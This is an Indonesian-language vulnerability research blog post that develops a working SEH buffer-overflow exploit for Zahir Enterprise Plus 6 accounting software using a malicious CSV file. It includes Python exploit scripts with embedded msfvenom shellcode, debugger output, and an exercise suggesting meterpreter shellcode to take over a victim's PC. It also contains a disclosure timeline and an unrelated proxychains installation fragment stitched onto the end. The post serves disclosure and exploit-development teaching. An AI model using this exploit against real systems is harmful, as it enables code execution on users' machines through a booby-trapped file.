Zahir Enterprise Plus 6 <= build 10b – Buffer Overflow (SEH)

Zahir Accounting adalah software akuntansi yang sangat banyak digunakan oleh tingkatan SOHO (Small Office Home Office) di Indonesia. Selain harganya yang terjangkau, Zahir memiliki fitur yang lebih dari cukup untuk menyelesaikan pencatatan akuntansi yang tanggung, dalam arti mampu menyisir tingkat menengah ke bawah dan juga mampu menghadapi tantangan akuntansi yang hampir mendekati tingkat enterprise. 

Pada kesempatan kali ini, Zahir Accounting masuk di laboratorium riset 0-day Spentera yang fokus pada aplikasi-aplikasi yang dihasilkan oleh anak negeri. Mengingat profil Zahir yang cukup terkenal, merupakan tantangan dan kebanggaan tersendiri bagi kami untuk membedahnya.

Lingkungan Riset dan Tool yang Digunakan

Proses vulnerability discovery ini dilakukan pada sistem operasi Windows 7 dengan beberapa tool yang akan kita gunakan sebagai berikut:

Fuzzing Aplikasi

Seperti biasa proses awal sebuah vulnerability discovery pada aplikasi diawali oleh yang namanya fuzzing. Proses ini biasanya memakan waktu yang lama, tergantung besaran entry point yang terdapat pada aplikasi. Karena aplikasi Zahir merupakan aplikasi klien (bukan aplikasi server yang menjalankan service dan membuka port), maka tehnik yang kami gunakan adalah pendekatan file format fuzzing. Tehnik ini mencoba mencari kerentanan dari sisi input yang akan di proses oleh aplikasi, sisi input ini yang kami sebut juga dengan entry point. Pada aplikasi Zahir, terdapat beberapa entry point berikut:

  • Menu Buka Data, fungsi untuk membaca database lokal atau dari layanan database Firebird.
  • Menu Membuka File Backup, fungsi untuk membuka file backup yang sudah ada
  • Menu Import Data dari Zahir versi 6.0, membuka data dari versi Zahir sebelumnya.
  • Menu Import Data dari file lainnya, membuka data dari file berformat CSV.
  • Menu Import Transaksi, membuka data dari file berformat CSV.

Percobaan fuzzing dilakukan dengan cara mengisi file berformat CSV dengan karakter “A” lalu di inputkan ke dalam program Zahir. Dari semua percobaan fuzzing yang telah dilakukan dengan cara membuat file berformat CSV, fungsi Import Data dari file lainnya-lah yang bereaksi terhadap file CSV yang berisi karakter “A” sebanyak 5000 karakter. Berikut adalah skrip yang digunakan untuk menghasilkan file tersebut.

#!/usr/bin/python

junk = "A" * 2500
junk += '\n\r'
junk += 'A' * 500
junk += "D" * 500

print "[+] Preparing for file.."
filename = "junk.csv"
f = open(filename, 'w')
print "[+] Writing crafted CSV file.."
f.write(junk)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Jika diperhatikan ada karakter ‘\n\r’ yang disematkan antar karakter “A” yang akan dihasilkan. Karakter ‘\n’ biasa kita kenal dengan newline atau Line Feed (LF), sedangkan karakter ‘\r’ yang berarti Carriage Return (CR). Informasi mengenai CR LF dapat dilihat disini.

Dalam beberapa kali percobaan, rupanya program Zahir mengalami kegagalan dalam memproses CR LF ini sehingga menyebabkan program Zahir crash. Untuk memicu error tersebut, kita bisa membuka file junk.csv dari menu File – Import – Import Data dari File Lainnya – Pilih Lanjutkan – Pada menu selanjutnya pilih salah satu, saya memilih Daftar Pelanggan – Lalu pada form Nama File, pilih file junk.csv yang telah dihasilkan oleh skrip di atas – Lalu pilih Lanjutkan.

Terlihat bahwa terdapat pesan error

Error: Access violation at 0x77D5283E (tried to write to 0x0030FE4), program terminated. LastCP is 'RF'.

Pada pesan error juga terdapat hint (LastCP is ‘RF’) yang menjelaskan bahwa crash tersebut terjadi karena CR LF.

Proses Debugging

Berdasarkan informasi tersebut, kita perlu tahu apa yang sebenarnya terjadi ketika file CSV hasil fuzzing (junk.csv) tersebut diproses oleh Zahir. Proses ini biasa kita namakan dengan debugging dan tool untuk debugging kali ini kita akan menggunakan Immunity Debugger. Seperti proses debugging pada umumnya, kita akan menjalankan Immunity Debugger dan membuka program Zahir dengan Immunity Debugger. Namun developer Zahir sepertinya tidak ingin programnya dapat di reverse engineering atau debugging, sehingga ketika kita buka dengan Immunity Debugger, muncul tampilan seperti berikut.

Ketika menemukan error seperti ini, maka proses debugging tidak akan bisa kita lakukan dengan cara membuka program dengan debugger. Ada 2 cara lain jika kita menemukan keadaan seperti ini:

  1. Lakukan debugging dengan cara attaching proses ZahirApp6.exe, tentu saja kita harus jalankan program Zahir dulu sampai semua program tersebut berjalan dengan sempurna, setelah itu kita attach (File – Attach) proses ZahirApp6.exe dengan Debugger. Namun, cara pertama ini gagal karena developer Zahir sukses menghindari attaching process oleh debugger, sehingga ketika file CSV fuzzing (junk.csv) di buka, program tetap crash namun debugger tidak dapat ‘menangkap’ proses crash yang terjadi.
  2. Menangkap crash dump yang dihasilkan ketika Zahir crash dengan file CSV fuzzing (junk.csv) yang sudah kita input ke Zahir. Untuk ‘menangkap’ informasi crash tersebut, dibutuhkan program tambahan yang bernama Procdump.

Crash Dump Analysis

Untuk mendapatkan informasi lebih detail terhadap crash dump yang dihasilkan, kita perlu mengatur bagaimana Procdump dapat menangkap crash dari program Zahir. Untuk itu kita akan menggunakan Procdump dengan perintah berikut:

mkdir c:\crashdump
cd C:\tools\SysinternalsSuite
procdump.exe -ma -I C:\crashdump

Penjelasan tentang perintah di atas:

  • mkdir C:\crashdump, kita membuat tempat dimana procdump akan melempar hasil crash program.
  • procdump -ma -I C:\crashdump, yang berarti menuliskan ‘Full’ dump apabila program crash ke folder C:\crashdump serta jadikan procdump sebagai AEDebug postmortem debugger yang artinya Procdump akan selalu menjadi program yang pertama kali dianggap sebagai debugger oleh sistem operasi.

Setelah Procdump siap, kita akan jalankan kembali program Zahir dan membuka kembali file CSV fuzzing (junk.csv) yang sudah kita siapkan. Kali ini, Procdump akan mencatat semua proses crash dan dapat kita analisa menggunakan Windows Debugger (WinDbg).

Setelah tampilan error CR LF yang sebelumnya kita lihat, muncul window baru dimana Procdump melakukan tugasnya mengumpulkan proses crash yang sedang terjadi. Apabila kita lihat di C:\crashdump, kita bisa lihat 2 buah file telah dihasilkan oleh Procdump.


Untuk menganalisa kedua file ini, kita memerlukan Windows Debugger (WinDbg)

Analisa Crash Dump dengan WinDbg

Buka program WinDbg lalu pilih File – Open Crash Dump, pilih salah satu dari kedua file crash dump tersebut. Kita akan melihat pada Command window bahwa proses berhenti ketika terjadi exception yang kemudian ditangkap oleh Structured Exception Handler (SEH), hal ini dapat kita simpulkan dari module DLL dimana proses exception tersebut terjadi (ntdll_!_SEH_prolog4+0x1a). Jika ingin melihat dari sisi disassembler, pilih View – Disassembly.

Apabila kita lihat pada hasil crash dump di atas terdapat kalimat “This dump file has an exception of interest stored in it. The stored exception information can be accessed via .ecxr.”

Jika kita lihat menggunakan !analyze -v:

0:000&gt; !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
Zahir!LbcsvRegister$qqrv+49
02504375 f366a5          rep movs word ptr es:[edi],word ptr [esi]

EXCEPTION_RECORD:  0012e600 -- (.exr 0x12e600)
ExceptionAddress: 02504375 (Zahir!LbcsvRegister$qqrv+0x00000049)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 82828282
Attempt to write to address 82828282

PROCESS_NAME:  ZahirApp6.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.
EXCEPTION_PARAMETER1:  00000001
EXCEPTION_PARAMETER2:  00030fe4
WRITE_ADDRESS:  00030fe4
FOLLOWUP_IP:
Zahir!LbcsvRegister$qqrv+0
0250432c 51              push    ecx
MOD_LIST:
NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAILED_INSTRUCTION_ADDRESS:
+69382faf0387de5c
44444444 ??              ???

CONTEXT:  0012e61c -- (.cxr 0x12e61c)
eax=0012eab4 ebx=00000000 ecx=0000007f edx=82828282 esi=0012eab4 edi=82828282
eip=02504375 esp=0012ea74 ebp=0012ea8c iopl=0         nv up ei pl nz na po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010203
Zahir!LbcsvRegister$qqrv+0x49:
02504375 f366a5          rep movs word ptr es:[edi],word ptr [esi]
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
LAST_CONTROL_TRANSFER:  from 0250483b to 02504375
FAULTING_THREAD:  ffffffff
BUGCHECK_STR:  APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_FILL_PATTERN_44444444
PRIMARY_PROBLEM_CLASS:  INVALID_STACK_ACCESS_FILL_PATTERN_44444444
DEFAULT_BUCKET_ID:  INVALID_STACK_ACCESS_FILL_PATTERN_44444444

IP_ON_HEAP:  44444444
The fault address in not in any loaded module, please check your build's rebase
log at \bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 44444444

STACK_TEXT:
0012ea74 02504375 zahir!LbcsvRegister$qqrv+0x49
0012ea94 0250483b zahir!LbcsvTLbCsvGetRecord$qqrpc11DbTGetModeo+0x13f
0012ebd0 41414141 unknown!printable+0x0
0012ebd4 41414141 unknown!printable+0x0
0012ebd8 41414141 unknown!printable+0x0
0012ebdc 41414141 unknown!printable+0x0
0012ebe0 41414141 unknown!printable+0x0
0012ebe4 41414141 unknown!printable+0x0
0012ebe8 41414141 unknown!printable+0x0
0012ebec 41414141 unknown!printable+0x0
0012ebf0 41414141 unknown!printable+0x0
0012ebf4 41414141 unknown!printable+0x0
0012ebf8 41414141 unknown!printable+0x0
0012ebfc 41414141 unknown!printable+0x0
0012ec00 41414141 unknown!printable+0x0
0012ec04 41414141 unknown!printable+0x0
0012ec08 41414141 unknown!printable+0x0
0012ec0c 41414141 unknown!printable+0x0
0012ec10 41414141 unknown!printable+0x0
0012ec14 41414141 unknown!printable+0x0

STACK_COMMAND:  .cxr 0012E61C ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 12ea74 ; kb
SYMBOL_NAME:  zahir!LbcsvRegister$qqrv+0
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: Zahir
IMAGE_NAME:  Zahir.bpl
DEBUG_FLR_IMAGE_TIMESTAMP:  2a425e19
FAILURE_BUCKET_ID:  INVALID_STACK_ACCESS_FILL_PATTERN_44444444_c0000005_Zahir.bpl!LbcsvRegister$qqrv
BUCKET_ID:  APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_FILL_PATTERN_44444444_BAD_IP_zahir!LbcsvRegister$qqrv+0
WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/ZahirApp6_exe/6_0_0_1/2a425e19/ntdll_dll/6_1_7601_23889/598d4ce7/c0000005/0005283e.htm?Retriage=1
Followup: MachineOwner
---------

Exception record menunjukkan bahwa exception terjadi pada alamat 0012e600. Kita bisa lihat proses exception terjadi dengan perintah berikut.

0:000> d fs:[0]
003b:00000000  6c 15 03 00 00 00 13 00-00 10 03 00 00 00 00 00 l...............
003b:00000010  00 1e 00 00 00 00 00 00-00 f0 fd 7f 00 00 00 00 ................
003b:00000020  88 03 00 00 cc 0c 00 00-00 00 00 00 c0 68 25 00 .............h%.
003b:00000030  00 e0 fd 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000040  28 62 f4 fd 00 00 00 00-00 00 00 00 00 00 00 00 (b..............
003b:00000050  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000060  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
003b:00000070  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:000> d 0003156c
0003156c  ac 1a 03 00 8d 6d 0a 77-30 ec 12 00 28 16 03 00  .....m.w0...(...
0003157c  4b 6d 0a 77 40 16 03 00-30 ec 12 00 5c 16 03 00  Km.w@...0...\...
0003158c  14 16 03 00 44 44 44 44-30 ec 12 00 40 16 03 00  ....DDDD0...@...
0003159c  30 ec 12 00 17 fa 07 77-40 16 03 00 30 ec 12 00  0......w@...0...
000315ac  5c 16 03 00 14 16 03 00-44 44 44 44 00 00 00 00  \.......DDDD....
000315bc  40 16 03 00 00 00 00 00-00 00 00 00 00 00 00 00  @...............
000315cc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
000315dc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> d 00031aac
00031aac  ec 1f 03 00 8d 6d 0a 77-30 ec 12 00 68 1b 03 00  .....m.w0...h...
00031abc  4b 6d 0a 77 80 1b 03 00-30 ec 12 00 9c 1b 03 00  Km.w....0.......
00031acc  54 1b 03 00 44 44 44 44-30 ec 12 00 80 1b 03 00  T...DDDD0.......
00031adc  30 ec 12 00 17 fa 07 77-80 1b 03 00 30 ec 12 00  0......w....0...
00031aec  9c 1b 03 00 54 1b 03 00-44 44 44 44 00 00 00 00  ....T...DDDD....
00031afc  80 1b 03 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00031b0c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00031b1c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> d 00031fec
00031fec  2c 25 03 00 8d 6d 0a 77-30 ec 12 00 a8 20 03 00  ,%...m.w0.... ..
00031ffc  4b 6d 0a 77 c0 20 03 00-30 ec 12 00 dc 20 03 00  Km.w. ..0.... ..
0003200c  94 20 03 00 44 44 44 44-30 ec 12 00 c0 20 03 00  . ..DDDD0.... ..
0003201c  30 ec 12 00 17 fa 07 77-c0 20 03 00 30 ec 12 00  0......w. ..0...
0003202c  dc 20 03 00 94 20 03 00-44 44 44 44 00 00 00 00  . ... ..DDDD....
0003203c  c0 20 03 00 00 00 00 00-00 00 00 00 00 00 00 00  . ..............
0003204c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0003205c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0:000> d 0003252c
0003252c 6c 2a 03 00 8d 6d 0a 77-30 ec 12 00 e8 25 03 00  l*...m.w0....%..
0003253c  4b 6d 0a 77 00 26 03 00-30 ec 12 00 1c 26 03 00  Km.w.&..0....&..
0003254c  d4 25 03 00 44 44 44 44-30 ec 12 00 00 26 03 00  .%..DDDD0....&..
0003255c  30 ec 12 00 17 fa 07 77-00 26 03 00 30 ec 12 00  0......w.&..0...
0003256c  1c 26 03 00 d4 25 03 00-44 44 44 44 00 00 00 00  .&...%..DDDD....
0003257c  00 26 03 00 00 00 00 00-00 00 00 00 00 00 00 00  .&..............
0003258c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0003259c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Pada proses dump terhadap exception handler dengan melihat langsung pada tiap handler, dapat kita lihat di atas bagian berwarna merah menunjukkan alamat handler berikutnya. Kita bisa lihat bahwa handler terus mencoba mengatasi exception hingga pada akhirnya program mengalami crash. Dengan menjalankan perintah !exchain, terlihat bahwa exception chain berhenti pada alamat 0012ec30.


Jika kita melakukan dump pada alamat tersebut (0012ec30):

0:000&gt; d 0012ec30
0012ec30 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec40 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec50 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec60 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec70 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec80 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012ec90 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0012eca0 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD

Dengan melihat tampilan di atas, hal tersebut membuktikan bahwa kita berhasil mengisi stack dengan buffer (junk) yang telah disiapkan (junk.csv). Berdasarkan informasi tersebut dapat kita simpulkan bahwa:

  • Terkonfirmasi bahwa program Zahir memiliki kerentanan yang dapat di eksploitasi, yaitu melalui kerentanan CR LF.
  • Dengan kerentanan CR LF ini, kita bisa mengambil alih aliran eksekusi program Zahir.
  • Berdasarkan hasil crash dump bahwa telah terjadi exception, maka proses eksploitasi ini akan menggunakan tehnik untuk bypass SEH.

Mengingat terdapat exception handler yang mengendalikan kondisi program apabila terjadi kesalahan, maka proses eksploitasi menjadi sedikit berbeda dari proses eksploitasi biasa dengan tehnik direct RET. Untuk membaca mengenai proses eksploitasi direct RET bisa membaca dokumen yang pernah saya tulis sebelumnya dengan judul Exploit Development: Basic Stack-based Overflow. Informasi mengenai proses eksploitasi SEH juga bisa dibaca dengan detail pada postingan di blog Spentera dengan judul SEH Based Stack Overflow – The Basic.

Eksploitasi dengan Tehnik SEH

Pada proses eksploitasi dengan tehnik SEH, kita akan menimpa alamat exception handler (SEH) dan alamat penunjuk exception handler selanjutnya (Next SEH). Bisa kita lihat dari diagram berikut.

Pada proses eksploitasi kali ini, perlu agak tricky menentukan di mana kita mencari alamat ketika junk buffer (A) menimpa SEH dan Next SEH. Untuk itu seperti biasa kita akan menggunakan bantuan skrip pattern_create.rb dari Metasploit dan memodifikasi skrip eksploitnya.

#!/usr/bin/python

bag1= "hasil metasploit pattern_create"
pisah = '\r\n'
bag2 = "sebagian dari hasil metasploit pattern_create"

print "[+] Preparing for file..."
filename = "metasjunk.csv"
f = open(filename, 'w')
print "[+] Writing crafted malicious CSV file.."
f.write(bag1+pisah+bag2)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Pada percobaan pertama, saya menghasilkan 3000 karakter acak dengan pattern_create.rb dan memecahnya menjadi 2 bagian.

  • Bag1 saya isi dengan 2500 karakter acak
  • Bag2 saya isi dengan 500 karakter acak sisanya

Hasil skrip tersebut kita impor lagi ke Zahir dan kita analisa hasilnya.

Terlihat bahwa alamat 0012ec30 tertimpa dengan angka 73443173 yang merupakan karakter acak hasil dari pattern_create.rb. Untuk mengetahui offset atau posisi bytes ketika SEH tertimpa dengan buffer yang kita pilih, kita bisa menggunakan pattern_offset.rb.

Ternyata posisi offset ketika SEH tertimpa adalah di byte 2884. Hal ini menjadi sangat menarik karena jika kita lihat di atas, kita membagi buffer menjadi bag1 (2500 bytes) dan bag2 (500 bytes), dan rupanya offset berada di bytes 2884. Artinya ada kelebihan 384 bytes pada buffer bag1 (2500 bytes) yang menimpa stack sehingga setelah itu bytes berikutnya akan menimpa SEH dan Next SEH (nSEH). Berdasarkan analisis ini, kita perlu mengubah skrip skeleton eksploit kita menjadi seperti ini:

#!/usr/bin/python

bag1= "A" * 2500
pisah = '\r\n'
bag2 = "B" * 384
nseh = "CCCC"
seh = "DDDD"
tambahan = "E" * 500

print "[+] Preparing for file..."
filename = "seh-junk.csv"
f = open(filename, 'w')
print "[+] Writing crafted malicious CSV file.."
f.write(bag1+pisah+bag2)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Dari skrip di atas kita coba menimpa SEH dan nSEH dengan karakter C dan D. Apabila kalkulasi kita benar, maka pada alamat Next SEH akan terisi dengan karakter C (0x43434343) dan pada SEH akan terisi karakter D (0x44444444). Kita buka lagi program Zahir dan lakukan hal yang sama seperti sebelumnya, load kembali file junk kali ini dengan nama seh-junk.csv.

Loading unloaded module list
.....................................................
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(740.8f0): Access violation - code c0000005 (first/second chance not available)
eax=00000020 ebx=77856d8d ecx=0003105c edx=77856c74 esi=00031100 edi=00000000
eip=7786283e esp=00030fe8 ebp=00031018 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
ntdll!_SEH_prolog4+0x1a:
7786283e 53 push ebx
0:000&gt; !exchain
0003156c: ntdll!ExecuteHandler2+3a (77856d8d)
00031aac: ntdll!ExecuteHandler2+3a (77856d8d)
00031fec: ntdll!ExecuteHandler2+3a (77856d8d)
.............
0012e52c: ntdll!ExecuteHandler2+3a (77856d8d)
0012ea94: *** WARNING: Unable to verify checksum for Zahir.bpl
*** ERROR: Symbol file could not be found. Defaulted to export symbols for Zahir.bpl -
Zahir!LbcsvTLbCsvGetRecord$qqrpc11DbTGetModeo+1df (025f48db)
0012ec30: 43434343
Invalid exception stack at 42424242

0:000&gt; d 0012ec30
0012ec30&gt;42 42 42 42 43 43 43 43-44 44 44 44 45 45 45 45 BBBBCCCCDDDDEEEE
0012ec40 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec50 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec60 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec70 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec80 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012ec90 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE
0012eca0 45 45 45 45 45 45 45 45-45 45 45 45 45 45 45 45 EEEEEEEEEEEEEEEE

Melihat hasil di atas, rupanya kita ada salah perhitungan sehingga posisi SEH yang seharusnya tertimpa dengan karakter D (0x44444444) malah tertimpa dengan karakter C (0x43434343). sedangkan Next SEH yang seharusnya tertimpa dengan karakter C (0x43434343) malah tertimpa dengan karakter B (0x42424242). Karakter E (0x45454545) sudah sangat sesuai dengan keinginan kita, sehingga tidak ada yang perlu kita rubah terkait hal tersebut. Posisi karakter E ini akan kita ganti dengan shellcode jika perhitungan kita sudah sesuai.
Kesalahan perhitungan ini akan kita perbaiki segera dengan mengganti skrip menjadi berikut.

#!/usr/bin/python

bag1= "A" * 2500
pisah = '\r\n'
bag2 = "B" * 380
nseh = "CCCC"
seh = "DDDD"
tambahan = "E" * 500

print "[+] Preparing for file..."
filename = "seh-junk.csv"
f = open(filename, 'w')
print "[+] Writing crafted malicious CSV file.."
f.write(bag1+pisah+bag2)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Hasilnya:

0012ea94: *** WARNING: Unable to verify checksum for Zahir.bpl
*** ERROR: Symbol file could not be found. Defaulted to export symbols for Zahir.bpl -
Zahir!LbcsvTLbCsvGetRecord$qqrpc11DbTGetModeo+1df (029e48db)
0012ec30: 44444444
Invalid exception stack at 43434343

Setelah hasil kalkulasi kita sesuai, saatnya kita mencari perintah berurut POP r32 POP r32 dan RET. Alamat ini dengan mudah dapat kita cari dengan bantuan tool mona.py yang sudah kita siapkan sebelumnya. Cara instalasi mona pada Windbg dapat dilihat pada dokumentasi Corelan disini. Untuk menjalankannya, kita hanya perlu menjalankan perintah berikut pada window Command:

0:000&gt; .load pykd.pyd
0:000&gt; !py mona

Jalankan perintah !py mona seh untuk mendapatkan hasilnya. Pada proses ini saya menemukan alamat 0x52016661 yang merupakan urutan perintah pop ecx # pop ebp # ret 0x04 diambil dari file vcl100.bpl. File ini merupakan file bawaan instalasi, sehingga apabila kita mengambil alamat POP r32 POP r32 RET dari file bawaan instalasi program, maka akan membuat proses eksploitasi ini menjadi reliable di versi Windows lainnya.
Sebelum kita merubah alamat SEH menjadi 0x52016661, kita harus ingat bahwa setelah SEH tertimpa dengan alamat tersebut, maka aliran program akan langsung menuju Next SEH. Pada posisi Next SEH inilah, kita akan melempar aliran program ke tempat dimana bakal shellcode kita berada.

Mengambil Alih Aliran Program

Ketika SEH sudah terambil alih, maka aliran program berikutnya akan berlanjut ke Next SEH, karena Next SEH berisi alamat SEH berikutnya. Namun pada kasus ini, alamat SEH berikutnya sudah dapat kita kendalikan dan sudah terisi dengan karakter E (masih ingat?). Artinya, apabila kita mengisi Next SEH dengan perintah untuk membawa kita alamat berikutnya, kita dapat mengambil alih aliran program secara sempurna.
Kita akan mengisi alamat Next SEH dengan lompatan kecil untuk ‘melewati’ alamat SEH sebelumnya, sehingga proses selanjutnya akan langsung membawa kita ke karakter E. Proses eksploitasi ini adalah proses eksploitasi khas SEH yang umum. Namun karna pada kasus kali ini kita melakukan debug dari crash dump, kita tidak dapat memasang breakpoint pada alamat SEH.

Pada kenyataannya hal ini tidak akan merubah aliran eksploitasi dan kita akan melakukannya secara buta. Agar lebih jelas saya langsung memodifikasi skrip sebelumnya dan menambahkan shellcode, hasilnya dapat kita lihat pada skrip berikut.

#!/usr/bin/python

bag1 = "A" * 2500
pisah = '\r\n'
bag2 = "B" * 380
nseh = "\xeb\x08\x90\x90"
seh = "\x61\x66\x01\x52"
nop = "\x90\x90\x90\x90"
# msfvenom -p windows/exec CMD=calc -f python -v shellcode
shellcode = ""
shellcode += "\xba\x15\x88\x74\x16\xdb\xd3\xd9\x74\x24\xf4\x58"
shellcode += "\x31\xc9\xb1\x30\x31\x50\x13\x83\xc0\x04\x03\x50"
shellcode += "\x1a\x6a\x81\xea\xcc\xe8\x6a\x13\x0c\x8d\xe3\xf6"
shellcode += "\x3d\x8d\x90\x73\x6d\x3d\xd2\xd6\x81\xb6\xb6\xc2"
shellcode += "\x12\xba\x1e\xe4\x93\x71\x79\xcb\x24\x29\xb9\x4a"
shellcode += "\xa6\x30\xee\xac\x97\xfa\xe3\xad\xd0\xe7\x0e\xff"
shellcode += "\x89\x6c\xbc\x10\xbe\x39\x7d\x9a\x8c\xac\x05\x7f"
shellcode += "\x44\xce\x24\x2e\xdf\x89\xe6\xd0\x0c\xa2\xae\xca"
shellcode += "\x51\x8f\x79\x60\xa1\x7b\x78\xa0\xf8\x84\xd7\x8d"
shellcode += "\x35\x77\x29\xc9\xf1\x68\x5c\x23\x02\x14\x67\xf0"
shellcode += "\x79\xc2\xe2\xe3\xd9\x81\x55\xc8\xd8\x46\x03\x9b"
shellcode += "\xd6\x23\x47\xc3\xfa\xb2\x84\x7f\x06\x3e\x2b\x50"
shellcode += "\x8f\x04\x08\x74\xd4\xdf\x31\x2d\xb0\x8e\x4e\x2d"
shellcode += "\x1b\x6e\xeb\x25\xb1\x7b\x86\x67\xdf\x7a\x14\x12"
shellcode += "\xad\x7d\x26\x1d\x81\x15\x17\x96\x4e\x61\xa8\x7d"
shellcode += "\x2b\x9d\xe2\xdc\x1d\x36\xab\xb4\x1c\x5b\x4c\x63"
shellcode += "\x62\x62\xcf\x86\x1a\x91\xcf\xe2\x1f\xdd\x57\x1e"
shellcode += "\x6d\x4e\x32\x20\xc2\x6f\x17\x43\x85\xe3\xfb\x84"

tambahan = "E" * 500

print "[+] Preparing for file..."
filename = "works.csv"
f = open(filename, 'w')
print "[+] Writing crafted malicious CSV file.."
f.write(bag1+pisah+bag2+nseh+seh+nop+shellcode+tambahan)
f.close()
print "[+] File %s written successfully.. bring it to Mr. Zahir." %filename

Saya menambahkan sejumlah baris NOP agar ketika lompatan kecil pada Next SEH (\xeb\x08\x90\x90) mendarat pada NOP sebelum ke shellcode. Hal ini sering dilakukan oleh exploit developer agar proses jump ke shellcode dapat berjalan dengan baik. Hasilnya:

Owned!
Kita berhasil mengambil alih aliran program Zahir dan mengeluarkan kalkulator hanya dengan sebuah file works.csv.

Extra Miles

Pada skrip python di atas, saya menggunakan shellcode hasil dari msfvenom untuk mengeluarkan kalkulator. Sebagai bahan latihan:

  1. Gunakan shellcode meterpreter untuk mengambil alih PC korban
  2. Temukan bad chars yang tersembunyi

Vulnerability Discovery Timeline

1 September 2017 Menghubungi pihak Zahir melalui Pusat Dukungan. Tiket terbuat dengan nomor tiket #JTC-534-70652 (http://zahir.info/index.php?/Tickets/Ticket/View/JTC-534-70652). Tiket ditugaskan ke bapak Ahdan Sadid.
12 September 2017 Meminta respon terhadap tiket yang belum ditindaklanjuti kepada bapak Ahdan Sadid
15 September 2017 Meminta respon terhadap tiket yang belum ditindaklanjuti kepada bapak Indra Septiady
18 September 2017 Pihak Zahir merespon atas nama bapak Indra Septiady yang akan menindaklanjuti informasi dari Spentera.
19 September 2017 Spentera memberikan skrip dan link video privat yang dapat digunakan sebagai pembuktian konsep temuan kerentanan.
28 September 2017 Tiket ditutup oleh pihak Zahir namun karena tidak ada tanggapan dari lebih lanjut, Spentera membuka kembali tiket dengan nomor #JTC-534-70652. Bersamaan dengan ini pula Spentera menanyakan hasil investigasi laporan yang sudah diberikan, serta jadwal perbaikan terhadap temuan tersebut.
24 Agustus 2018 Spentera membuka kembali tiket dengan nomor #ZYL-522-86966. Bersamaan dengan ini pula Spentera menanyakan hasil investigasi laporan yang sudah diberikan, serta jadwal perbaikan terhadap temuan tersebut.
11 September 2018 Tidak ada respon dari pihak Zahir, sehingga Spentera melaporkan temuan ini ke Pusat Operasi Keamanan Siber Nasional Badan Siber dan Sandi Negara dengan alamat email pusopskamsinas@bssn.go.id.
23 September 2018 Request CVE to Mitre.
1 Oktober 2018 Publikasi di Exploit-DB (https://www.exploit-db.com/exploits/45505/) dan blog Spentera

Proxychains on OSX Mountain Lion

EDITED:

Link below is not working anymore. To install Proxychains, you can install it directly using brew

infidel:~ goo$ brew install proxychains-ng

Here is the step-by-step solution to get it works:

Setup a working directory, I’m using ~/build-temp/

infidel:~ goo$ mkdir build-temp
infidel:~ goo$ cd build-temp

Download Proxychains from here (you may using wget or via the browser) and extract

